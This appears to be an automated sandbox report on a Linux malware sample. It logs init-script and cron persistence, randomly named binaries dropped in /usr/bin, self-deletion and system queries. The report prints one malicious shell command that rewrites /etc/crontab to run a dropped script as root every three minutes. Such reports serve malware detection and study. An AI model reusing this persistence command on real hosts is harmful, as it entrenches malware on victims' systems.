Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc3.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc4.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc5.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc.d/rc1.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc.d/rc2.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc.d/rc3.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc.d/rc4.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc.d/rc5.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior

Sample tries to persist itself using cron

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/cron.hourly/gcc.sh	Jump to behavior
Source: /bin/sh (PID: 6230)	File: /etc/crontab	Jump to behavior
Source: /bin/sed (PID: 6231)	File: /etc/crontab	Jump to behavior

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/lib/libudev.so	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/qhknhggmjf	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/ltaanxttrs	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/kihierzlde	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/thgxtutpuw	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/dwfhzeeizt	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/xmnjiktnas	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/bvyxmkkmbp	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/hszflciagy	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/dvisuvnfsi	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/zzdslzxygn	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/koygrrjkon	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/uvilsmwwhk	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/ilrbozcctp	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/gwqnqvffue	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File written: /usr/bin/cbsypxwvhg	Jump to dropped file

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)

Shell script file created: /etc/cron.hourly/gcc.sh

Jump to dropped file

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Reads from proc file: /proc/stat	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Reads from proc file: /proc/cpuinfo	Jump to behavior

Source: /sbin/update-rc.d (PID: 6235)

Systemctl executable: /bin/systemctl -> systemctl daemon-reload

Jump to behavior

Source: /tmp/Di1p3oLnDb.elf (PID: 6230)

Shell command executed: sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"

Jump to behavior

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)

Writes shell script file to disk with an unusual file extension: /etc/init.d/Di1p3oLnDb.elf

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/init.d/Di1p3oLnDb.elf	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/qhknhggmjf	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/ltaanxttrs	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/kihierzlde	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/thgxtutpuw	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/dwfhzeeizt	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/xmnjiktnas	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/bvyxmkkmbp	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/hszflciagy	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/dvisuvnfsi	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/zzdslzxygn	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/koygrrjkon	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/uvilsmwwhk	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/ilrbozcctp	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/gwqnqvffue	Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/cbsypxwvhg	Jump to dropped file

Sample deletes itself

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/siupwowznp	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /usr/bin/urppslzpni	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6261)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6264)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6268)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6270)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6273)	File: /usr/bin/qhknhggmjf	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6277)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6284)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6287)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6290)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6291)	File: /usr/bin/ltaanxttrs	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6297)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6301)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6306)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6307)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6308)	File: /usr/bin/kihierzlde	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6313)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6318)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6324)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6323)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6325)	File: /usr/bin/thgxtutpuw	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6330)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6335)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6338)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6341)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6342)	File: /usr/bin/dwfhzeeizt	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6347)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6350)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6358)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6361)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6360)	File: /usr/bin/xmnjiktnas	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6367)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6371)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6377)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6378)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6379)	File: /usr/bin/bvyxmkkmbp	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6386)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6391)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6392)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6397)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6398)	File: /usr/bin/hszflciagy	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6403)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6406)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6411)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6414)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6415)	File: /usr/bin/dvisuvnfsi	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6420)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6425)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6428)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6431)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6432)	File: /usr/bin/zzdslzxygn	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6437)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6441)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6445)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6448)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6451)	File: /usr/bin/koygrrjkon	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6457)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6461)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6467)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6469)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6468)	File: /usr/bin/uvilsmwwhk	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6474)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6479)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6482)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6485)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6486)	File: /usr/bin/ilrbozcctp	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6491)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6496)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6500)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6503)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6502)	File: /usr/bin/gwqnqvffue	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6509)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6513)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6517)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6520)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6521)	File: /usr/bin/cbsypxwvhg	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6526)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6530)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6534)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6535)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6538)	File: /usr/bin/qozdbjhhph	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6544)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6549)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6556)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6557)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6558)	File: /usr/bin/bcnljelvvj	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6569)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6573)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6575)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6576)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6577)	File: /usr/bin/txgakcdvth	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6586)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6589)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6591)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6593)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6594)	File: /usr/bin/kiykrkkimt	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6603)	File: /usr/bin/siupwowznp	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6607)	File: /usr/bin/siupwowznp	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6609)	File: /usr/bin/siupwowznp	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6610)	File: /usr/bin/siupwowznp	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6611)	File: /usr/bin/siupwowznp	Jump to behavior

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Path: /etc/cron.hourly/gcc.sh			Jump to dropped file
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Path: /run/gcc.pid			Jump to dropped file

Source: /tmp/Di1p3oLnDb.elf (PID: 6224)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6258)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6260)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6263)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6266)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qhknhggmjf (PID: 6269)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6276)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6279)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6283)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6286)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ltaanxttrs (PID: 6289)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6295)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6298)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6300)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6303)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kihierzlde (PID: 6305)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6312)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6315)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6317)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6320)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/thgxtutpuw (PID: 6322)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6329)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6332)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6334)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6337)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dwfhzeeizt (PID: 6340)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6346)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6349)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6352)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6354)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xmnjiktnas (PID: 6359)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6366)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6369)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6372)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6374)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bvyxmkkmbp (PID: 6376)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6385)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6388)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6390)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6394)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/hszflciagy (PID: 6396)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6402)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6405)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6408)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6410)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/dvisuvnfsi (PID: 6413)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6419)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6422)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6424)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6427)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/zzdslzxygn (PID: 6430)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6436)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6439)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6442)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6444)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/koygrrjkon (PID: 6447)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6456)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6459)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6462)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6464)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uvilsmwwhk (PID: 6466)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6473)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6476)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6478)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6481)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/ilrbozcctp (PID: 6484)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6490)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6493)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6495)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6498)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gwqnqvffue (PID: 6501)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6508)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6511)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6514)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6516)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/cbsypxwvhg (PID: 6519)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6525)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6528)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6531)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6533)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/qozdbjhhph (PID: 6537)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6543)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6548)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6551)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6553)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/bcnljelvvj (PID: 6555)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6564)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6566)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6568)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6571)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/txgakcdvth (PID: 6574)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6581)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6583)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6585)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6588)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/kiykrkkimt (PID: 6592)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6598)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6600)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6602)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6605)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/siupwowznp (PID: 6608)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/urppslzpni (PID: 6615)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/urppslzpni (PID: 6617)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/urppslzpni (PID: 6619)	Queries kernel information via 'uname':	Jump to behavior
